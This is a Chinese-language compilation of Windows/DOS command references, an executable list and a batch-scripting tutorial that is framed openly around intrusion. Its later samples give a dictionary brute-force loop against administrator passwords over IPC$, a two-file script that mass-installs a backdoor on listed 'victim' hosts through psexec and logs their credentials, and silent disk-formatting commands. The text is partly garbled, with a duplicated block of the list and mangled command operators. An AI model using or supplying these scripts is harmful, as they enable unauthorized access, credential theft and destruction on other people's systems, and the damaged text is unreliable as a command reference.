$E Escape 碼 (ASCII 碼 27)
$_ 回車換行
鍵入不帶參數的 PROMPT 可以將提示符改回默認設置。
命令:RD/RMDIR
功能:刪除目錄.
RMDIR [驅動器:]目錄
RD [驅動器:]目錄
命令:REM
功能:在批處理文件或 CONFIG.SYS 里加上註解或說明。
REM [註解]
命令:REN/RENAME
功能:重命名文件或目錄列表。
RENAME [驅動器:][路徑]文件名1 文件名2.
REN [驅動器:][路徑]文件名1 文件名2.
請注意,您不能為目標文件或目錄列表指定新的驅動器或路徑。
命令:SET
功能:顯示, 設置或刪除 Windows 環境變數.
SET [變數=[字元串]]
變數 指定環境變數名.
字元串 指定賦給環境變數的字元串.
鍵入不帶參數的 SET 可顯示當前的環境變數.
命令:TIME
功能:顯示或設置系統時間。
TIME [時間]
顯示當前時間設置和輸入新時間的提示,請鍵入
不帶參數的 TIME。要保留現有時間,請按 ENTER。
命令:TYPE
功能:顯示文本文件的內容。
TYPE [驅動器:][路徑]文件名
命令:VER
功能:顯示 Windows 版本.
VER
命令:VOL
功能:顯示磁碟的標簽號和存在的序列號.
secpol.msc本地安全策略
services.msc本地服務設置
sfc /scannow啟動系統文件檢查器
sndrec32錄音機
taskmgr任務管理器(適用於2000/xp/2003)
tsshutdn60秒倒計時關機命令
winchatXP自帶區域網聊天
winmsd系統信息
winver-顯示About Windows 窗口
wupdmgr--Windows Update
『陸』 bat的常用命令有哪些
gpedit.msc-----組策略sndrec32-------錄音機
Nslookup-------IP地址偵測器e xplorer-------打開資源管理器
logoff---------注銷命令tsshutdn-------60秒倒計時關機命令
lusrmgr.msc----本機用戶和組 services.msc---本地服務設置
oobe/msoobe /a----檢查XP是否激活notepad--------打開記事本
cleanmgr-------垃圾整理net start messenger----開始信使服務
compmgmt.msc---計算機管理net stop messenger-----停止信使服務
conf-----------啟動netmeetingdvdplay--------DVD播放器
charmap--------啟動字元映射表 diskmgmt.msc---磁碟管理實用程序
calc-----------啟動計算器dfrg.msc-------磁碟碎片整理程序
chkdsk.exe-----Chkdsk磁碟檢查devmgmt.msc--- 設備管理器
regsvr32 /u *.dll----停止dll文件運行drwtsn32------ 系統醫生
rononce -p ----15秒關機dxdiag---------檢查DirectX信息
regedt32-------注冊表編輯器Msconfig.exe---系統配置實用程序
rsop.msc-------組策略結果集 mem.exe--------顯示內存使用情況
regedit.exe----注冊表winchat--------XP自帶區域網聊天
progman--------程序管理器 winmsd---------系統信息
perfmon.msc----計算機性能監測程序winver---------檢查Windows版本
sfc /scannow-----掃描錯誤並復原 winipcfg-------IP配置
taskmgr-----任務管理器(2000/xp/2003)command--------cmd
fsmgmt.msc 共享文件夾 netstat -an----查看埠
osk 屏幕鍵盤install.asp----修改注冊網頁
eventvwr.msc 事件查看器
secpol.msc 本地安全設置
services.msc 服務
2K
accwiz.exe > 輔助工具向導
acsetups.exe > acs setup dcom server executable
actmovie.exe > 直接顯示安裝工具
append.exe > 允許程序打開制定目錄中的數據
arp.exe > 顯示和更改計算機的ip與硬體物理地址的對應列表
at.exe > 計劃運行任務
atmadm.exe > 調用管理器統計
attrib.exe > 顯示和更改文件和文件夾屬性
autochk.exe > 檢測修復文件系統
autoconv.exe > 在啟動過程中自動轉化系統
autofmt.exe > 在啟動過程中格式化進程
autolfn.exe > 使用長文件名格式
bootok.exe > boot acceptance application for registry
bootvrfy.exe > 通報啟動成功
cacls.exe > 顯示和編輯acl
calc.exe > 計算器
cdplayer.exe > cd播放器
change.exe > 與終端伺服器相關的查詢
charmap.exe > 字元映射表
chglogon.exe > 啟動或停用會話記錄
chgport.exe > 改變埠(終端服務)
chgusr.exe > 改變用戶(終端服務)
chkdsk.exe > 磁碟檢測程序
chkntfs.exe > 磁碟檢測程序
cidaemon.exe > 組成ci文檔服務
cipher.exe > 在ntfs上顯示或改變加密的文件或目錄
cisvc.exe > 索引內容
ckcnv.exe > 變換cookie
cleanmgr.exe > 磁碟清理
cliconfg.exe > sql客戶網路工具
clipbrd.exe > 剪貼簿查看器
clipsrv.exe > 運行clipboard服務
clspack.exe > 建立系統文件列表清單
cluster.exe > 顯示域的集群
_cmd_.exe > 沒什麼好說的!
cmdl32.exe > 自動下載連接管理
cmmgr32.exe > 連接管理器
cmmon32.exe > 連接管理器監視
cmstp.exe > 連接管理器配置文件安裝程序
comclust.exe > 集群
comp.exe > 比較兩個文件和文件集的內容*
compact.exe > 顯示或改變ntfs分區上文件的壓縮狀態
conime.exe > ime控制台
control.exe > 控制面板
convert.exe > 轉換文件系統到ntfs
convlog.exe > 轉換iis日誌文件格式到ncsa格式
cprofile.exe > 轉換顯示模式
cscript.exe > 較本宿主版本
csrss.exe > 客戶伺服器runtime進程
csvde.exe > 日至格式轉換程序
dbgtrace.exe > 和terminal server相關
dcomcnfg.exe > dcom配置屬性
dcphelp.exe > ?
dcpromo.exe > ad安裝向導
ddeshare.exe > dde共享
ddmprxy.exe >
debug.exe > 就是debug啦!
dfrgfat.exe > fat分區磁碟碎片整理程序
dfrgntfs.exe > ntfs分區磁碟碎片整理程序
dfs_cmd_.exe > 配置一個dfs樹
dfsinit.exe > 分布式文件系統初始化
dfssvc.exe > 分布式文件系統伺服器
diantz.exe > 製作cab文件
diskperf.exe > 磁碟性能計數器
dllhost.exe > 所有com+應用軟體的主進程
dllhst3g.exe >
dmadmin.exe > 磁碟管理服務
dmremote.exe > 磁碟管理服務的一部分
dns.exe > dns applications dns
doskey.exe > 命令行創建宏
dosx.exe > dos擴展
dplaysvr.exe > 直接運行幫助
drwatson.exe > 華生醫生錯誤檢測
drwtsn32.exe > 華生醫生顯示和配置管理
dtcsetup.exe > installs mdtc
dvdplay.exe > dvd播放
dxdiag.exe > direct-x診斷工具
edlin.exe > 命令行的文本編輯器(歷史悠久啊!)
edlin.exe > 命令行的文本編輯器(歷史悠久啊!)
esentutl.exe > ms資料庫工具
eudcedit.exe > type造字程序
eventvwr.exe > 事件查看器
evnt_cmd_.exe > event to trap translator; configuration tool
evntwin.exe > event to trap translator setup
exe2bin.exe > 轉換exe文件到二進制
expand.exe > 解壓縮
extrac32.exe > 解cab工具
fastopen.exe > 快速訪問在內存中的硬碟文件
faxcover.exe > 傳真封面編輯
faxqueue.exe > 顯示傳真隊列
faxsend.exe > 發送傳真向導
faxsvc.exe > 啟動傳真服務
fc.exe > 比較兩個文件的不同
find.exe > 查找文件中的文本行
findstr.exe > 查找文件中的行
finger.exe > 一個用戶並顯示出統計結果
fixmapi.exe > 修復mapi文件
flattemp.exe > 允許或者禁用臨時文件目錄
fontview.exe > 顯示字體文件中的字體
forcedos.exe > forces a file to start in dos mode. 強制文件在dos模式下運行
freecell.exe > popular windows game 空當接龍
ftp.exe > file transfer protocol used to transfer files over a network conne
ction 就是ftp了
gdi.exe > graphic device interface 圖形界面驅動
grovel.exe >
grpconv.exe > program manager group convertor 轉換程序管理員組
help.exe > displays help for windows 2000 commands 顯示幫助
hostname.exe > display hostname for machine. 顯示機器的hostname
ie4uinit.exe > ie5 user install tool ie5用戶安裝工具
ieshwiz.exe > customize folder wizard 自定義文件夾向導
iexpress.exe > create and setup packages for install 穿件安裝包
iisreset.exe > restart iis admin service 重啟iis服務
internat.exe > keyboard language indicator applet 鍵盤語言指示器
ipconfig.exe > windows 2000 ip configuration. 察看ip配置
ipsecmon.exe > ip security monitor ip安全監視器
ipxroute.exe > ipx routing and source routing control program ipx路由和源路由
控製程序
irftp.exe > setup ftp for wireless communication 無線連接
ismserv.exe > intersite messaging service 安裝或者刪除service control manage
r中的服務
jdbgmgr.exe > microsoft debugger for java 4 java4的調試器
jetconv.exe > convert a jet engine database 轉換jet engine資料庫
jetpack.exe > compact jet database. 壓縮jet資料庫
jview.exe > command-line loader for java java的命令行裝載者
krnl386.exe > core component for windows 2000 2000的核心組件
label.exe > change label for drives 改變驅動器的卷標
lcwiz.exe > license compliance wizard for local or remote systems. 許可證符合
向導
ldifde.exe > ldif cmd line manager ldif目錄交換命令行管理
licmgr.exe > terminal server license manager 終端服務許可協議管理
lights.exe > display connection status lights 顯示連接狀況
llsmgr.exe > windows 2000 license manager 2000許可協議管理
llssrv.exe > start the license server 啟動許可協議伺服器
lnkstub.exe >
locator.exe > rpc locator 遠程定位
lodctr.exe > load perfmon counters 調用性能計數
logoff.exe > log current user off. 注銷用戶
lpq.exe > displays status of a remote lpd queue 顯示遠端的lpd列印隊列的狀態,
顯示被送到基於unix的伺服器的列印任務
lpr.exe > send a print job to a network printer. 重定向列印任務到網路中的列印
機。通常用於unix客戶列印機將列印任務發送給連接了列印設備的nt的列印機伺服器。
lsass.exe > lsa executable and server dll 運行lsa和server的dll
lserver.exe > specifies the new dns domain for the default server 指定默認se
rver新的dns域
os2.exe > an os/2 warp server (os2 /o) os/2
os2srv.exe > an os/2 warp server os/2
os2ss.exe > an os/2 warp server os/2
osk.exe > on screen keyboard 屏幕鍵盤
packager.exe > windows 2000 packager manager 對象包裝程序
pathping.exe > combination of ping and tracert 包含ping和tracert的程序
pax.exe > is a posix program and path names used as arguments must be specif
ied in posix format. use "//c/users/default" instead of "c:usersdefault."
啟動攜帶型存檔互換 (pax) 實用程序
pentnt.exe > used to check the pentium for the floating point division error
. 檢查pentium的浮點錯誤
perfmon.exe > starts windows performance monitor 性能監視器
ping.exe > packet internet groper 驗證與遠程計算機的連接
posix.exe > used for backward compatibility with unix 用於兼容unix
print.exe > cmd line used to print files 列印文本文件或顯示列印隊列的內容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系統應用程序
qappsrv.exe > displays the available application terminal servers on the net
work
在網路上顯示終端伺服器可用的程序
qprocess.exe > display information about processes local or remote 在本地或遠
程顯示進程的信息(需終端服務)
query.exe > query termserver user process and sessions 查詢進程和對話
quser.exe > display information about a user logged on 顯示用戶登陸的信息(需
終端服務)
qwinsta.exe > display information about terminal sessions. 顯示終端服務的信息
rasadmin.exe > start the remote access admin service 啟動遠程訪問服務
rasautou.exe > creates a ras connection 建立一個ras連接
rasdial.exe > dial a connection 撥號連接
ras.exe > starts a ras connection 運行ras連接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 計算機和運
行遠程外殼埠監控程序 rshd 的系統之間復制文件
rdpclip.exe > rdpclip allows you to and paste files between a terminal
session and client console session. 再終端和本地復制和粘貼文件
recover.exe > recovers readable information from a bad or defective disk 從壞
的或有缺陷的磁碟中恢復可讀取的信息。
redir.exe > starts the redirector service 運行重定向服務
regedt32.exe > 32-bit register service 32位注冊服務
regini.exe > modify registry permissions from within a script 用腳本修改注冊
許可
register.exe > register a program so it can have special execution character
istics. 注冊包含特殊運行字元的程序
regsvc.exe >
regsvr32.exe > registers and unregister's dll's. as to how and where it regi
ster's them i dont know. 注冊和反注冊dll
regtrace.exe > options to tune debug options for applications failing to m
p trace statements
trace 設置
regwiz.exe > registration wizard 注冊向導
remrras.exe >
replace.exe > replace files 用源目錄中的同名文件替換目標目錄中的文件。
reset.exe > reset an active section 重置活動部分
rexec.exe > runs commands on remote hosts running the rexec service. 在運行
rexec 服務的遠程計算機上運行命令。rexec 命令在執行指定命令前,驗證遠程計算機
上的用戶名,只有安裝了 tcp/ip 協議後才可以使用該命令。
risetup.exe > starts the remote installation service wizard. 運行遠程安裝向導
服務
route.exe > display or edit the current routing tables. 控制網路路由表
routemon.exe > no longer supported 不再支持了!
router.exe > router software that runs either on a dedicated dos or on an os
. 檢查pentium的浮點錯誤
perfmon.exe > starts windows performance monitor 性能監視器
ping.exe > packet internet groper 驗證與遠程計算機的連接
posix.exe > used for backward compatibility with unix 用於兼容unix
print.exe > cmd line used to print files 列印文本文件或顯示列印隊列的內容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系統應用程序
qappsrv.exe > displays the available application terminal servers on the net
work
在網路上顯示終端伺服器可用的程序
qprocess.exe > display information about processes local or remote 在本地或遠
程顯示進程的信息(需終端服務)
query.exe > query termserver user process and sessions 查詢進程和對話
quser.exe > display information about a user logged on 顯示用戶登陸的信息(需
終端服務)
qwinsta.exe > display information about terminal sessions. 顯示終端服務的信息
rasadmin.exe > start the remote access admin service 啟動遠程訪問服務
rasautou.exe > creates a ras connection 建立一個ras連接
rasdial.exe > dial a connection 撥號連接
ras.exe > starts a ras connection 運行ras連接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 計算機和運
行遠程外殼埠監控程序 rshd 的系統之間復制文件
rdpclip.exe > rdpclip allows you to and paste files between a terminal
session and client console session. 再終端和本地復制和粘貼文件
recover.exe > recovers readable information from a bad or defective disk 從壞
的或有缺陷的磁碟中恢復可讀取的信息。
redir.exe > starts the redirector service 運行重定向服務
regedt32.exe > 32-bit register service 32位注冊服務
regini.exe > modify registry permissions from within a script 用腳本修改注冊
許可
register.exe > register a program so it can have special execution character
istics. 注冊包含特殊運行字元的程序
regsvc.exe >
regsvr32.exe > registers and unregister's dll's. as to how and where it regi
ster's them i dont know. 注冊和反注冊dll
regtrace.exe > options to tune debug options for applications failing to m
p trace statements
trace 設置
regwiz.exe > registration wizard 注冊向導
remrras.exe >
replace.exe > replace files 用源目錄中的同名文件替換目標目錄中的文件。
reset.exe > reset an active section 重置活動部分
rexec.exe > runs commands on remote hosts running the rexec service. 在運行
rexec 服務的遠程計算機上運行命令。rexec 命令在執行指定命令前,驗證遠程計算機
上的用戶名,只有安裝了 tcp/ip 協議後才可以使用該命令。
risetup.exe > starts the remote installation service wizard. 運行遠程安裝向導
服務
route.exe > display or edit the current routing tables. 控制網路路由表
routemon.exe > no longer supported 不再支持了!
router.exe > router software that runs either on a dedicated dos or on an os
/2 system. route軟體在 dos或者是os/2系統
rsh.exe > runs commands on remote hosts running the rsh service 在運行 rsh 服
務的遠程計算機上運行命令
rsm.exe > mounts and configures remote system media 配置遠程系統媒體
rsnotify.exe > remote storage notification recall 遠程存儲通知回顯
rsvp.exe > resource reservation protocol 源預約協議
runas.exe > run a program as another user 允許用戶用其他許可權運行指定的工具和
程序
rundll32.exe > launches a 32-bit dll program 啟動32位dll程序
runonce.exe > causes a program to run ring startup 運行程序再開始菜單中
rwinsta.exe > reset the session subsystem hardware and software to known ini
tial values 重置會話子系統硬體和軟體到最初的值
savemp.exe > does not write to e:winntuser.dmp 不寫入user.dmp中
scardsvr.exe > smart card resource management server 子能卡資源管理伺服器
schupgr.exe > it will read the schema update files (.ldf files) and upgrade
the schema. (part of adsi) 讀取計劃更新文件和更新計劃
secedit.exe > starts security editor help 自動安全性配置管理
services.exe > controls all the services 控制所有服務
sethc.exe > set high contrast - changes colours and display mode logoff to s
et it back to normal 設置高對比
setreg.exe > shows the software publishing state key values 顯示軟體發布的國
家語言
setup.exe > gui box prompts you to goto control panel to configure system co
mponents 安裝程序(轉到控制面板)
setver.exe > set version for files 設置 ms-dos 子系統向程序報告的 ms-dos 版本
號
sfc.exe > system file checker test and check system files for integrity 系統
文件檢查
sfmprint.exe > print services for macintosh 列印macintosh服務
sfmpsexe.exe >
sfmsvc.exe >
shadow.exe > monitor another terminal services session. 監控另外一台中端服務
器會話
詳細出處參考:http://www.jb51.net/article/5003.htm
『柒』 bat批處理文件的相關命令
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 amp;amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 amp;amp; if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.amp;
Usage:第一條命令 amp; 第二條命令 [amp; 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:\>dir z: amp; dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
3.
Usage:第一條命令 第二條命令 [ 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 amp;amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1. 命令
Usage:第一條命令 第二條命令 [ 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp find ":3389">>D:\IP.log
start Explorer
看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
